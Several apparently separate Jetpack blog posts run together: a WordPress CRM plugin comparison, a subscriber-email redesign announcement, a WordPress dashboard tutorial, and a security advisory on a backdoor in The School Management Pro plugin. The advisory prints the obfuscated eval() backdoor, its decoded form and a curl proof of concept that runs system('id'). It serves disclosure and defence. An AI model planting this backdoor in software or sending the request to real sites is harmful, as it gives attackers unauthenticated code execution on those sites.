• It includes unlimited team members, so there’s no being nickeled and dimed for each user that you add.
• It’s modular, so you can create the exact package that you need.
• The full WooCommerce integration is now included in the free version of Jetpack CRM.
• It connects to a variety of third-party providers, like contact forms, email marketing tools, and eCommerce platforms.
• Everything to do with clients and customers can be managed from a single dashboard, including invoices, quotes, tasks, documentation, emails, and calls.

Cons of Jetpack CRM: 

• While the modular plan is beneficial for the majority of businesses, it could be confusing for someone who just wants all of the options available at once.
• Free plans only include forum support, while a one-on-one ticketing system is just available for premium users.

Ease of use:

Jetpack CRM is straightforward and easy to use for beginners and tech experts alike. The dashboard is very navigable and presents key information in an understandable way. There’s also documentation and walkthrough videos that teach you how to use the platform.

Jetpack CRM Pricing:

• The Free plan includes all basic functionality, like sales funnel management, contact management, and invoicing at no cost.
• The Free plan now also includes the full WooCommerce integration, making it the perfect CRM for WooCommerce.
• The Freelancer plan adds integration with tools like PayPal and Gravity Forms, along with priority support for $11 per month.
• The Entrepreneur plan makes the rest of the extension library available, which includes more than 30 add-ons, for $17 per month. 

You can also purchase individual extensions, ranging from $29 to $129 each per year.

2. HubSpot

HubSpot is a marketing powerhouse, with tools that cover everything from relationship management to social media management and search engine optimization. Here, we’re focused specifically on their Sales Hub, which encompasses their CRM-specific functionality.

HubSpot integrates with WordPress websites through a plugin, which enables you to sync forms, add live chat to your site, view analytics, and create forms and pop-ups directly in the WordPress dashboard. But it also provides tons of extra functionality, like detailed contact information.

Key features of HubSpot:

• A dashboard with a real-time view of your pipeline and detailed reports on sales and productivity
• Unlimited users, data, and contacts in the free plan — premium plans have limits
• Task creation and reminders for important deadlines 
• Automatic alerts based on actions that contacts take, like opening an email or visiting a website
• Connection tools like meeting scheduling, ticketing systems, live chat, and click-to-call functionality
• Email marketing tools, including pre-built templates and a drag-and-drop editor
• Forms, pop-ups, and landing pages built for collecting leads
• Detailed analytics that help you identify the pages, emails, and traffic sources that generate the most revenue for your business
• Sales document organization and tracking, so all of your documentation is in one central location and you know which content closes the most deals
• An AI tool that automatically takes notes and provides data about sales calls
• B2B payment collection and quote delivery 
• Integrations with over 1000 apps, like Gravity Forms, WooCommerce, and Stripe

Pros of HubSpot:

• HubSpot automatically fills in information about your clients and customers based on data found around the web. This can prevent you from having to track down intelligence about your prospects across multiple platforms. 
• The CRM tools work seamlessly with their marketing, customer service, and operations tools, which is an excellent way for large organizations to handle everything under one roof.
• Functionality goes beyond typical customer relationship management to include design tools for landing pages, pop-ups, and more.

Cons of HubSpot:

• This CRM wasn’t built specifically for WordPress, and integrates using a separate plugin. This means that it may not connect quite as seamlessly as some other tools.
• If you want to take advantage of all that HubSpot has to offer, especially for larger businesses, the costs can add up very quickly.
• While the free CRM includes unlimited users, the paid plans have limits, with extra fees for each additional user.

Ease of use:

While the WordPress plugin itself is relatively straightforward, there’s a lot that makes up HubSpot’s CRM tool. Depending on your needs, there’s a lot of configuration required to get started, and all of the available options can be overwhelming to beginners. That being said, HubSpot does provide a library of excellent tutorials and videos that can teach you how to use their platform and, ultimately, become a better marketer. 

HubSpot pricing:

• The Free plan includes contact management, deal pipelines, quotes, meeting scheduling, live chat, and the reporting dashboard at no cost.
• The Starter plan (two users) adds simple automations, conversion tracking, support for multiple currencies, and sales rep productivity performance analyses for $45 per month.
• The Professional plan (five users) includes sequences, teams, custom reporting, more advanced automation, and phone support for $450 per month.
• The Enterprise plan (ten users) adds custom objects, predictive lead scoring, playbooks, forecasting, and recurring revenue tracking for $1200 per month.

Additional users for premium plans are $25 per month each.

3. WP-CRM System

WP-CRM System is a freemium CRM plugin with simple, straightforward features. You can handle everything directly from the WordPress dashboard, which keeps things in one central location and makes managing your business simpler. It also has project management functionality that can prove helpful for companies with multiple team members.

Features of WP-CRM System:

• Allows you to manage projects, assign tasks to specific team members, and track external marketing campaigns 
• Unlimited users and data
• A CSV importer to migrate contacts from other tools and software
• Automatically creates contacts from existing users on your site
• Integrations with tools like WooCommerce, Zapier, and Mailchimp
• Custom field creation that allows you to collect exactly what you need from prospects
• Invoice creation and payment collection via Stripe
• Analytics to help you understand your performance and client data
• A client portal where contacts can view projects, tasks, invoices, and more

Pros of WP-CRM System:

• Information and data is stored directly on your WordPress site, giving you complete control over everything. 
• It’s a CRM tool — and that’s it! There aren’t a lot of extras or bonus features, which may be the perfect setup for small businesses or individuals.

Cons of WP-CRM System:

• It’s simple, providing just the basics. This means that it’s probably not the right option for medium to large businesses, or those who want to focus more on the marketing side of relationship management. 

Ease of use:

WP-CRM System is simple and straightforward. This makes it easy for users to navigate and understand without getting bogged down by too many features.

WP-CRM System pricing: 

• The Free plan includes all basic functionality at no cost.
• The Plus plan adds three premium extensions for $99 per year.
• The Enhanced plan adds all available extensions for $199 per year.
• The Professional plan includes all extensions and works for an unlimited number of websites for $249 per year.

Individual extensions are also available, ranging from $29 to $89 per year.

4. Salesforce

Salesforce is another full-scale marketing option that offers far more than just CRM tools. In fact, there are a lot of different plans available from Salesforce, covering everything from customer service and marketing to commerce and analytics. For the purposes of this comparison, we chose to focus on the Sales Cloud suite of products, which offers their core CRM functionality.

The Salesforce Sales Cloud provides everything you need to improve your sales and customer management processes from start to finish. It enables you to streamline processes, build real relationships with clients, and identify opportunities for improvement. Some of the best tools available include task automation for email alerts, assignments based on lead actions, proposals, discounts, expense reports, and more. 

However, it’s important to note that Salesforce requires a plugin to integrate with your WordPress site, which simply allows you to add forms to your site that send leads to your CRM. This is a very surface-level integration compared to many of the other options here. If you have a WooCommerce store, you can purchase an extension that syncs products and orders. 

Features of Salesforce:

• The ability to track and nurture leads, prioritize them based on set rules, and assign them to the right team members
• Email marketing and custom templates
• Website forms for lead generation
• Detailed client views, with communications, activities, and purchase history
• The ability to send contracts and quotes to clients
• Customizable reports for your specific business
• File sharing and collaboration
• Knowledgebase articles and FAQs to provide better customer service
• Business process automation 
• Slack integration for seamless communication and collaboration

Pros of Salesforce:

• It’s a very powerful solution that offers tons of features, several of which aren’t available from other tools on this list.
• The CRM tools are just one aspect of Salesforce. It can also provide features for customer service, marketing, analytics, and more that work seamlessly with the CRM.

Cons of Salesforce:

• While there’s a plugin available to sync your Salesforce account with WordPress, it’s very basic. It simply provides the ability to add forms to your site that automatically adds leads to Salesforce when submitted. Everything else is handled separately, on the Salesforce platform. Syncing your CRM with WooCommerce requires yet another plugin, which costs $129 per year by itself. 
• There’s a lot of functionality available with Salesforce. This can, of course, be a bonus. But for small businesses and websites, it can quickly become confusing and overwhelming to determine the right plan and features.
• There’s no free plan available, and it can get costly for small businesses. Plus, pricing is also based on each individual user.
• Since Salesforce works for a wide variety of websites and businesses, their support team are not WordPress-specific experts. 

Salesforce ease of use:

While Salesforce is robust, it can also be overwhelming and has a pretty steep learning curve. If you’re not particularly tech-savvy, or don’t want to spend a lot of time learning a new platform, you may want to choose a different option.

Pricing:

• The Essentials plan offers basic features like contact and account management for $25 per month, per user.
• The Professional plan adds features like collaborative forecasting for $75 per month, per user.
• The Enterprise plan includes features like workflow automations for $150 per month, per user.
• The Unlimited plan adds 24/7 support alongside other features for $300 per month, per user.

To view all the differences between each plan, see the Sales Cloud pricing page.

5. WP ERP

WP ERP is a freemium business platform that provides WordPress-specific tools for relationship management, accounting, HR management, and project management. For the purposes of this article, we’re focusing on their WordPress CRM tool.

While WP ERP doesn’t offer quite as many features as other options on this list, it provides all the basics, all in the familiarity of the WordPress dashboard. You can collect leads and contacts, log their activity and information, and assign tasks and follow-ups to your team members. Plus, you get access to valuable information about your business that can help you make important decisions in the future.

Features of WP ERP:

• Client profiles with contact details, reminders, comments, and messages
• Contact prioritization based on where they are in your sales funnel
• A built-in email system to reach out to customers directly in your dashboard
• Meeting scheduling and follow-ups
• Task assignment for users, with specific deadlines
• Company profiles with multiple representatives
• Reports with custom filters that help you learn and grow your business
• Extensions that enable you to integrate with WooCommerce, Mailchimp, Gravity Forms, and more

Pros of WP ERP:

• There’s a free version available that includes the majority of features with absolutely no limits. This makes it a good option for small businesses and websites that are looking for something simple.
• It includes particularly helpful filtering systems to help you find the exact type of contacts you’re looking for. You can even save filters as templates to make searches easier in the future.
• If you’re looking for additional tools for accounting, HR management, etc. this is a great way to provide an all-in-one solution.
• You can manage everything directly from the WordPress dashboard rather than having to log in and out of multiple accounts.

Cons of WP ERP:

• It’s not as robust as many of the other options on this list.
• The pricing setup is a bit confusing, based on both users and the extensions you want to add to your plan. And, as with other user-based pricing systems, it can add up as you grow.
• Some reviewers have noted that the documentation isn’t always the easiest to understand, which may be detrimental if you’re trying to solve an issue.

WP ERP Ease of use:

WP ERP is relatively easy to set up, with a wizard that walks you through all initial configurations. All information is presented in a clear, digestible way.

Pricing:

• The Free version includes all the core CRM functionality, along with account and HR features, at no cost.
• The Pro version includes nine premium extensions and starts at $9.99 per month. Then, you’ll need to add $3.00 per month for each user.
• Additional extensions are available for $2.99 to $9.49 per month.

6. UpiCRM

UpiCRM provides free, basic CRM functionality, allowing you to compile leads and track them through your various sales channels. It focuses more on lead and client aggregation rather than marketing to and following up with those leads. That being said, it’s a decent option to help you start collecting and compiling leads. It has a handy export feature that can help you migrate your contacts to one of the premium solutions in the future, as your website and business grow.

Features of UpiCRM:

• Compiles leads and contacts from a variety of sources, including WordPress forms, social media ads, Google Sheets, and more
• Follows leads through the sales cycle, from acquisition to close, including assignment to the proper team member
• Provides analytics that track lead acquisition so you can attribute new prospects to the appropriate marketing channel

Pros of UpiCRM:

• It’s completely free, providing a good starting point for smaller businesses.
• It integrates directly with the WordPress dashboard, so you can manage everything in one central location.
• It’s a great tool for compiling leads from a variety of sources.

Cons of UpiCRM:

• It’s very limited, providing only bare bones CRM functionality. 
• Support is an extra fee of $99 per year. 

UpiCRM ease of use:

The dashboard is clean, with clear reporting and analytics, even for beginners. And since the features and functionality are simple, so are setup and imports. 

Pricing:

• UpiCRM is completely free for all users.
• You can purchase extensions that provide functionality like Google Sheets integration for $60 per year.

7. WP Fusion

WP Fusion is a little different from the rest of the options on this list because it’s more of a WordPress CRM connector than a CRM itself. You can use this tool to connect your WordPress site — whether it’s a membership portal, eCommerce store, or service-based business — to the CRM or marketing software of your choosing. 

It works by triggering automations based on actions that happen on your site. And those automations are virtually limitless. Create new CRM contacts when visitors fill out a form. Apply tags in your CRM when people register on your site. Reach out to students based on their course progress. Send emails based on purchase history. WP Fusion is an excellent solution for streamlining business and marketing processes.

Features of WP Fusion:

• Works with dozens of WordPress plugins, from membership and eCommerce tools to forms, forums, and lead generation add-ons
• Applies tags in your CRM of choice based on WordPress user activity like logins, course progress, and purchase history
• Connects just about any piece of data on your site — like user profiles, form submissions, and orders — to your CRM
• Integrates with most CRMs and automation software, including ActiveCampaign, HubSpot, Mailchimp, and Salesforce

Pros of WP Fusion:

• It syncs data between a ton of different plugins, tools, and marketing software. This is helpful in connecting all of the platforms that you’re using, especially if your CRM doesn’t include a WordPress plugin.
• It can also be used to restrict content for certain users, essentially allowing you to create a membership-style site.
• WP Fusion is chock full of helpful resources, like documentation, support tickets, and even a free consultation. 

Cons of WP Fusion:

• It’s not a true CRM for WordPress, but really just a connector. You’ll still need to use a separate CRM platform to get the functionality you may be looking for.
• It can be pricey, especially considering you’ll most likely also be paying for a CRM tool.

WP Fusion ease of use:

WP Fusion is relatively easy to use and get started with. In fact, the plugin configures settings by default based on the CRM that you connect to. 

Pricing:

• The free version is available as WP Fusion Lite, and includes very basic functionality, like creating CRM contacts based on form submissions.
• The Personal version adds tons of automation functionality, along with unlimited tagging and synchronization for $247 per year.
• The Plus version includes six pro add-ons for tasks like abandoned cart tracking and event tracking for $347 per year.
• The Professional version makes all of the features from the Pro plan available across an unlimited number of websites for $540 per year. 

WordPress CRM comparison table

How to choose the best CRM for your WordPress site

A CRM is incredibly powerful, no matter the type of business you run. It helps you convert more customers, keep them engaged, and automate time-consuming marketing and management tasks. So if your website and company is growing, it may be a great time to add a CRM to your workflow.

The perfect fit for your business will depend on your specific requirements and budget. For the majority of WordPress and WooCommerce websites, Jetpack CRM is an excellent choice. It’s affordable — with the free version being enough for many users — but extendable to meet virtually any need. And since it was built specifically for WordPress, you can count on seamless integration and stellar support.

If you’re looking to go beyond CRM functionality to social media management, search engine optimization, and more, you may want to give HubSpot a go. It’s a great all-in-one option for large companies with lots of clients and team members.

And if you’re already using a CRM, but are looking for a good way to connect it to your WordPress site, try WP Fusion.

Ready to improve your client and customer relationships with a tool you can count on? Get started with Jetpack CRM.

Frequently asked questions about WordPress CRMs

Looking for more info? Check out the answers below to some common questions about WordPress CRM tools.

Why choose a WordPress CRM instead of an external CRM?

If you’re a WordPress site owner, it’s generally much better to go with a CRM that was designed specifically for WordPress. Why? Because you know that everything integrates seamlessly.

Some external CRMs do have WordPress plugins, but they often only add select CRM functionality to your site. For example, the Salesforce plugin only allows you to add contact forms that sync with their platform — that’s it! And with external CRMs, you may find yourself missing key integrations, or having to hire a developer to hack together a solution that syncs the right data from your WordPress site to your CRM. 

In contrast, WordPress CRMs were built specifically to work with, well, WordPress. You won’t have to worry about forcing the CRM to work with your site perfectly when it wasn’t designed to do so. And WordPress CRMs are typically designed to work with major WordPress plugins. Jetpack CRM, for example, integrates with tools like WooCommerce, Gravity Forms, and Contact Form 7.

Finally, if you ever need support, a WordPress CRM’s team will know exactly how to help you, as a WordPress site owner. They understand the needs of WordPress users and can troubleshoot beyond just their CRM.

What makes a good WordPress CRM plugin?

The best WordPress CRM plugin will depend on each individual business. However, here are some key features to look for:

• Regular updates. Just like with any WordPress plugin, you’ll want to choose a CRM plugin that is regularly updated to work with the latest version of WordPress. This not only ensures compatibility, it also protects your site from security vulnerabilities.
• Good support. Look for a CRM plugin that offers help for any problems you might run into. A dedicated support system is ideal, but forums are a good option as well.
• The ability to add team members and users. If you have multiple customer service or sales representatives, you’ll want each to have their own account within your CRM. You may also want to choose a platform that doesn’t charge for each individual user. 
• Seamless connection to WordPress. You’ll want a CRM plugin that integrates as smoothly with your site as possible, so you can get the most out of it.
• Integration with the tools you already use. Do you use WooCommerce? Gravity Forms? Mailchimp? Make sure your CRM will work with those tools.
• Quote and invoicing features. If you’re a B2B business, you’re probably going to want a CRM that allows you to send quotes and invoices to clients. This helps keep everything in one central location and streamlines processes.
• Detailed analytics. One of the biggest benefits of a CRM is the ability to review your sales process and use that information to make improvements for the future. Ensure that the CRM you choose provides the data that you need to do this.
• Segmentation and tagging. Good segmentation allows you to group your contacts based on certain characteristics — like demographics and actions taken — and make decisions specific to those groups. This is powerful functionality that is an excellent benefit.
• The ability to grow with your business. As your business grows, your CRM should grow with it. Choose one that won’t limit your growth and that doesn’t charge extra fees for more users or contacts.

How much does a CRM plugin cost on WordPress?

Pricing and fee structures vary pretty widely across CRM plugins. Some are free and others are paid. Some charge monthly while others charge annually. And some add fees for additional users, contacts, or add-ons. 

The top plugin on our list here, Jetpack CRM, is free to install and use and includes all basic CRM functionality. There are, however, paid plans available for extra features like priority support. You can also purchase additional extensions to build out your custom CRM.

Is it easy to set up a CRM plugin on WordPress?

Some CRM plugins can actually be quite complicated to set up, while others are a lot simpler. It really depends on the solution that you choose. In some cases, CRMs provide significantly more functionality than you really need as a small business, overwhelming you with the setup process.

Jetpack CRM, however, can be set up in just a few clicks. It presents information in a clear, manageable way, and is easy for both beginners and advanced users. And because it’s modular, you get all the functionality you need without all the stuff you don’t.

Can a CRM plugin be used on a WooCommerce store?

Yes, absolutely. Some CRMs, like Jetpack CRM, integrate seamlessly with WooCommerce for free. This enables you to automatically sync orders and customers with your online store, determine your highest-value customers, and follow up with contacts based on the products they purchased. Ultimately, this can help you make more informed decisions for your WooCommerce store and convert more shoppers in the future.

Can you use WordPress as a CRM?

You can! While WordPress doesn’t natively include CRM features, you can use CRM plugins to add that functionality to your site. Some plugins include all of the customer relationship management features directly in the plugin itself. Others simply sync your WordPress site with an external CRM, while keeping all management functionality separate.

Can CRMs benefit online stores as well as B2B businesses?

A WordPress CRM provides powerful functionality for B2C and B2B businesses alike. For eCommerce stores, CRM tools can provide helpful information about customers, products, and sales that can inform decisions you make in the future. They help you personalize marketing activities for each individual customer based on the actions they’ve taken on your store, as well as other information you’ve gathered about them, like birthdays. And they help you delegate marketing and customer service tasks to the right people on your team.

A Brand New Design For Subscriber Emails

We recently updated the design of the emails that go out to your subscribers when a new post is published on your site. With this fresh design, we focused on modernizing the default email templates that come from Jetpack.

A Clean Look Focused on Your Content

Design can have a significant impact on engagement.

With the new emails, your subscribers will get a modern looking email when they subscribe, receive a welcome email, and whenever a new post is published. With the updated designs, your content comes first, and looks great on any device.

1. Confirmation Email

When a visitor subscribes to your site, the first email they’ll receive will ask them to confirm their subscription. This helps ensure that the person subscribing is the owner of the email address shared.

To personalize that message, you can edit the message that gets sent out. Just head to: Settings → Reading → Follower settings → “Blog follow email text”, and you’re all set.

2. Welcome Email

Once your subscriber has confirmed their subscription, they’ll receive a welcome email. This one’s really important.

It turns out that the average open rate of welcome emails is 82% (GetResponse, 2017). So, for every 100 emails sent, 82 people will open them. Compare that with the average email open rate of just 21%, and it’s easy to see how making a great first impression really matters.

3. New Subscriber Email

When your new subscriber gets their welcome email, you’ll also receive a new subscriber email. So you can celebrate.

4. New Post Updates

Now your subscriber’s all set, they’ll get a fresh new email every time a new post is added to your website. That’s one more reminder that you’re out there and publishing. And one more reason to keep coming back for more.

Getting Started

Email is one of the most efficient ways to reach your site visitors, with 4.3 Billion users around the world forecast for this year alone (Statista, 2021). 

With Jetpack, tapping into that huge audience is as simple as adding a block to your site. Check out our support guide for the subscribe block to walk you through how to get that up and running.

Adding the block makes it only a couple-of-clicks for your site visitors to subscribe to your content. 

And once they’ve subscribed, they’ll receive all of your latest updates – with the new, fresh design – direct to their inbox.

Versions before 9.9.7 of the WordPress plugin “The School Management Pro” from Weblizar contain a backdoor allowing an unauthenticated attacker to execute arbitrary PHP code on sites with the plugin installed. If you have an earlier version installed on your site, we recommend upgrading to version 9.9.7 or later immediately. This is a critical security issue.

Read on for the full details.

Details:

• Plugin name: The School Management Pro
• Plugin slug: school-management-pro, school-management-pro-9.9.6, school-management-pro-9.9.5, the-school-management, etc
• Vendor: Weblizar
• Affected versions: < 9.9.7
• CVE: CVE-2022-1609
• CVSS Score: 10.0 (Critical)
• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
• WPVULNDB: https://wpscan.com/vulnerability/e2d546c9-85b6-47a4-b951-781b9ae5d0f2

A part of the job here at Jetpack Scan is supporting our hosted WordPress business by checking suspicious files found on sites we host. Usually this is due to a file being flagged by one of our signatures, or that the site owner has found something suspicious and wants our opinion. As is the nature of things, sometimes these files are benign, some are false positives, and some are new malware strains or variations that need more work classifying properly.

Sometimes however, what we get is more interesting all together.

A couple of weeks ago one such incident occurred. The WordPress.com escalated support team contacted us about some obfuscated, obviously malicious code found in a plugin on several sites.

}
$_fc = eval("\x65\x76\x61\x6c(\x67\x7a".chr($_x = 0x70 - 7).chr($_x += 5).chr($_x -= 8) . "\x6c\x61\x74" . "\x65\x28\x62"."\x61\x73\x65\x36"."\x34\x5f\x64\x65\x63\x6f\x64\x65\x28'fY9BasMwEEXX8ikmECIbnAukJJAW77ooSaCLUsTYHjsilu2O5JRQfPdKDs2mbbTQQu/9mS8sS4WF010bg2SyTmGvlW61kylUQ3tFCXxFgqnW1hGrSeNucBRHQkg0S0MmJ/YJ2eiCWksy9QSZ8RIUIQ25Y1daCbDewOuL2mX7g9oTn4lXq6ddtj1sH5+zdHILbJoci5MM7q0CzJk+Br8ZpjL+zJFrC+sbWG5qcqpHRmPj5GFydAUxaGvJ+QHBf5N5031W2h7lu5+0WMAMyPTu8i//I303OsGfjoLO2Pzm13JjuMfw6SQS/m304Bs='" . str_repeat(chr(0x29), 3)."\x3b");
class WLSM_Crypt_Blowfish_DefaultKey

After two rounds of trivial deobfuscation, this gives:

add_action( 'rest_api_init', function() {
        register_rest_route(
                'am-member', 'license',
                array(
                        'methods'  => WP_REST_Server::CREATABLE,
                        'callback' => function( $request ) {
                                $args = $request->get_params();
                                if ( isset( $args['blowfish'] ) && ! empty( $args['blowfish'] ) && isset( $args['blowf'] ) && ! empty( $args['blowf'] ) ) {
                                        eval( $args['blowf'] );
                                }
                        },
                )
        );
} );

The code itself isn’t all that interesting: it’s an obvious backdoor injected into the license-checking code of the plugin. It allows any attacker to execute arbitrary PHP code on the site with the plugin installed, as can be seen in the proof of concept below:

$ curl -s -d 'blowfish=1' -d "blowf=system('id');" 'http://localhost:8888/wp-json/am-member/license'
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Warning: Cannot modify header information - headers already sent by (output started at /var/www/html/wp-content/plugins/school-management-pro-9.9.4/admin/inc/manager/WLSM_LC.php(683) : eval()'d code(1) : eval()'d code(9) : eval()'d code:1) in /var/www/html/wp-includes/rest-api/class-wp-rest-server.php on line 1713

This is the kind of thing we often see in nulled plugins; this happens so often that we have a similar case already covered in a previous post. Our first assumption was that this was also the case here; the site owners had installed a plugin from a shady source. 

However, we were assured that the installed plugins were received directly from the vendor. This was also quickly confirmed by the vendor that removed the offending code after being made aware of its presence.

We have tried to get more information from the vendor about when the backdoor was injected, what versions are affected, and how the code ended up in the plugin in the first place. This effort has been unsuccessful, as the vendor says they do not know when or how the code came into their software.

We have seen versions at least from 8.9 that contained the backdoor in our hosted systems, but since we do not have any clear information about when the backdoor first appeared, we have to assume any version before 9.9.7 is affected.

Detecting and alerting about the issue is further complicated by the plugin operating under a number of different slugs, often using slugs containing the version number. In our hosted systems we have seen at least these variants:

• school-management
• school-management-v*
• school-management-pro
• school-management-pro-*
• the-school-management

The free version from the WordPress.org plugin repository does not contain the licensing code, and is also not affected by this backdoor.

Timeline

2022-05-04: The escalated WordPress.com support team discovers the injected code and reaches out to Jetpack Scan for analyzing and verifying the finding. After confirming it’s a backdoor they notify the vendor.

2022-05-05: The vendor confirms the injected code indeed is in their distribution, and provides us with a version 9.9.7 where the backdoor is removed. We confirm it is clean.

2022-05-06: Vendor actively distributes version 9.9.7 to their customers and encourages them to update.

2022-05-10: Vendor replied to our additional questions about if they knew when the backdoor was added, but claim they do not know. They did provide a previous version, 9.9.4, which included the backdoor.

Conclusion

We recommend that any site with any version earlier than 9.9.7 of The School Management Pro installed upgrade immediately.

At Jetpack, we work hard to make sure your websites are protected from these types of vulnerabilities. We recommend that you have a security plan for your site that includes malicious file scanning and backups. Jetpack Security is one great WordPress security option to ensure your site and visitors are safe.

Credits

This research was a cooperation between the WordPress.com escalated support team with Nic Sevic, Thom Stackhouse and Joshua Goode, and Jetpack Scan with Harald Eilertsen and Fioravante Cavallari. Also thanks to Benedict Singer for feedback and corrections.

The WordPress admin dashboard is the heart and soul of the Content Management System (CMS). This is where you oversee every aspect of your site, from configuring essential settings to publishing content, installing plugins and themes, and more. If you’re not familiar with the WP admin, you’ll have a hard time managing a website.

Understanding how to use the dashboard is easier than you might think. All of the WordPress admin components are highly intuitive. Once you learn how to use these different tools and settings, you’ll be able to get the most out of WordPress.

In this article, we’ll introduce you to the WordPress dashboard and every single one of its components. You’ll learn how to access the admin area, configure your website, publish content, and more. 

What is the WordPress admin dashboard?

The WordPress dashboard is the CMS control panel. Every WordPress installation has an admin panel with the same features and tools. Think about the dashboard as the “back end” of your site, where you configure and manage everything related to it.

Here’s what a regular WordPress admin dashboard looks like:

At a quick glance, you can see two menus. The menu to the left includes most of the configuration and publishing tools that you’ll use on a day-to-day basis. At the top of the screen, there’s a navigation menu that enables you to jump back and forth between the front end and the dashboard.

We’ll talk about each option later in the post. For now, let’s discuss how to log into the WordPress admin.

How do you access your WordPress admin dashboard?

When you install WordPress, the CMS automatically sets up an admin area for your website. You can access the dashboard by going to yoursite.com/wp-admin.

If you set up WordPress manually, you’ll create an admin user during that process, with a username and password. These are the same credentials you’ll use to log into your website and gain access to the WordPress admin panel.

Depending on your web hosting provider, they might set up WordPress for you. In that case, you might be able to choose your admin credentials during the signup process.

Keep in mind that you may not be the only user with access to the dashboard. As the administrator, you can enable registration and provide users with access to some of the same tools and configuration options on your site. 

If you lose access to WordPress, you can use the login screen to reset the password — as long as you have access to the email associated with that account.

Understanding the WordPress admin interface and menu

By default, the WordPress admin includes a broad number of links and tools. Although you may not use all of them on a daily basis, it’s essential that you understand where to go for each task.

As soon as you log into WordPress, you’ll see the Home screen under the Dashboard section.

The Home page tells you how many pages, posts, and comments your website contains. You’ll also see notifications about site health, comment activity, and WordPress news and events. If you want, you can even use the Quick Draft option to create and save content without leaving the page.

For the majority of users, the Home page is just a pit stop. You’ll spend most of the time using the menu to the left of the screen. This menu includes options for publishing content, reviewing existing posts and pages, checking comments, managing plugins and themes, and more.

You’ll also notice a main navigation menu at the top of the screen. This menu enables you to jump to the comments queue or the WordPress editor. 

The menu’s primary functionality, though, is to help you jump back and forth between your site’s front end and the WordPress admin. If you hover over the name of your site, you’ll see the Visit Site option.

Clicking on Visit Site will send you to your site’s homepage. If you’re logged in while browsing the website, the main navigation menu will still appear at the top of the screen. 

You can hover over your site’s name and you’ll see options to return to the dashboard home or to the themes screen. The menu also includes an Edit site button, which will open the WordPress customizer.

If you’re not sure what some of those options do, don’t worry. We’ll cover each component within the WordPress admin in the next section.

How to use your WordPress admin dashboard (15 steps)

The WordPress dashboard can be intimidating at first due to the number of options that it contains. Your main point of interest while using the dashboard will be the left-side menu. 

In this section, we’ll walk you through the different options that you’ll find in the menu. This way, you’ll know where to start when you want to take any specific action on your website.

1. How to create and manage pages and posts

Creating and managing pages and posts is one of the main things you’ll be doing in WordPress. If you take a look at the left-side menu in the admin, you’ll see two options called Pages and Posts.

Selecting either option will send you to a page that lists every page or post that you’ve created. This includes published content, drafts, and even a trash bin for pages that you decide to delete.

This list of posts includes information about each entry’s author, category, tags, comments, and publish date. You can also hover over individual entries to see editing options.

When you hover over a page or a post, you’ll see options to launch the editor or do a quick edit. If you want to learn how to use the WordPress editor (also known as the Block Editor), we recommend that you check out the official Gutenberg page.

The Quick Edit option will enable you to edit a post’s basic settings without needing to access a new page.

If you select multiple posts, you can use the Bulk actions menu above the list of entries. This menu offers options for editing multiple posts or moving them to the trash bin.

If you accumulate a large content library, you’ll want to use the search and filter tools to navigate. You can filter posts by dates and categories, or use the search bar to find specific entries.

In the example above, we showed you the Posts → All Posts page. You’ll find the same exact settings if you navigate to Pages → All Pages in the dashboard. 

To add a new page or post to your website, go to Posts → Add New or Pages → Add New. Either option will launch the Block Editor. You can also navigate to the main Posts or Pages screen and click on the Add New button.

From a practical standpoint, creating and managing posts and pages in WordPress works much the same. The difference is that you’re dealing with two types of content.

2. How to create and manage WordPress categories and tags

WordPress uses a taxonomy system to help you classify posts. This system consists of categories and tags. Categories are broader classifications, whereas tags are more specific.

To give you an idea, this article could fall under the WordPress Tutorials category. You might also want to assign it tags like WordPress Dashboard, WordPress Login, and more.

You can create as many categories and tags as you want and apply them to posts in any combination that you see fit. To start, go to Posts → Categories. Here, you’ll see a list of existing categories and a menu that enables you to add new ones.

To add a new category, select a name for it. You can also write a short description and choose for it to fall under a parent category, if desired. 

Meanwhile, the slug is the URL-friendly version of the category name. If you have a category called WordPress Tutorials, the slug would be /wordpress-tutorials or something similar.

When you add a category, you’ll see it appear on the list to the right. To assign a category to a post, you’ll need to use the editor.

Moving on to the Tags page, the process for creating and managing WordPress tags works exactly the same. You get to select a name and a slug, and set a description for each tag that you add.

Just as with categories, you assign tags to posts through the editor. 

Categories and tags make it simpler for visitors to navigate your content library and find related posts. As your content library grows, so should your website’s taxonomy.

3. How to upload and manage media files

Media files are a key component of any website. WordPress supports a broad array of media file formats. So many, in fact, that we recommend you check out the official WordPress.org entry on supported file types.

WordPress enables you to upload and display most of the popular image, video, and audio file types. You can do this using the WordPress media library, located under Media → Library.

The library provides you with an overview of every media file that you upload. You can upload files directly from the library using the Add New button or by clicking on Media → Add New.

When you upload a file, WordPress will ask you to either drag it into an upload “area” or use the Select Files option to browse your local files.

You can add multiple files at once, but there’s a maximum upload file size. This size will depend on your web host and your site’s configuration.

Once you upload your files, you can click on them within the media library. Clicking on any media file will display a details screen. This includes the file’s name, its metadata, alt text, captions, descriptions, and URL.

You can use the Attachment details screen to edit any media file’s metadata. For images, you’ll also see an Edit Image option at the bottom of the screen. Selecting this option will open a basic image editor.

WordPress’ built-in image editor includes options for cropping, rotating, flipping, and resizing images. For every image that you upload, WordPress also creates a thumbnail, which you can resize from this screen as well.

When you’re done editing, click on the Save button to save your changes. When it comes to audio and video, you can also edit metadata and play the files. Note that WordPress doesn’t come with video or audio editing functionality.

As your site’s media library grows, you may need to rely on the admin’s filtering tools. The Library page enables you to sort files by type and date. You can also use a search tool and bulk select files to edit or delete them.

Note that there’s no limit to how many media files you can upload to WordPress. The only limitation you might face is with your hosting plan’s storage settings. To save space and run a more efficient site, you should occasionally clean up your media library to remove unused files.

Quick note: If you try to upload a file type that WordPress doesn’t support, the admin will return an error. 

4. How to manage WordPress comments 

Since WordPress was designed to be a blogging platform, it comes with a robust comments system. If you enable the comments feature, users will be able to write responses to posts and pages.

WordPress gives you full control over your comments. First off, you’ll want to familiarize yourself with the Comments page. There, you’ll find every comment published on your website, including its status.

Comments in WordPress can be approved, pending, trashed, or marked as spam. By default, WordPress has some spam recognition capabilities, but it will fall on you to filter and approve comments.

To configure your site’s comment settings, go to Settings → Discussion. This page includes multiple comment settings as well as configurations for your regular posts.

The Allow people to submit comments on new posts option will determine whether visitors can leave comments at all. Disabling that setting will disable the entire commenting system.

If you enable that setting, scroll down to the Other comment settings section. Here, you’ll be able to configure the information users must share to comment and if they need to register to do so.

This section also includes options for automatically closing comment sections, controlling cookies, enabling nested comments, and adding pagination to comments.

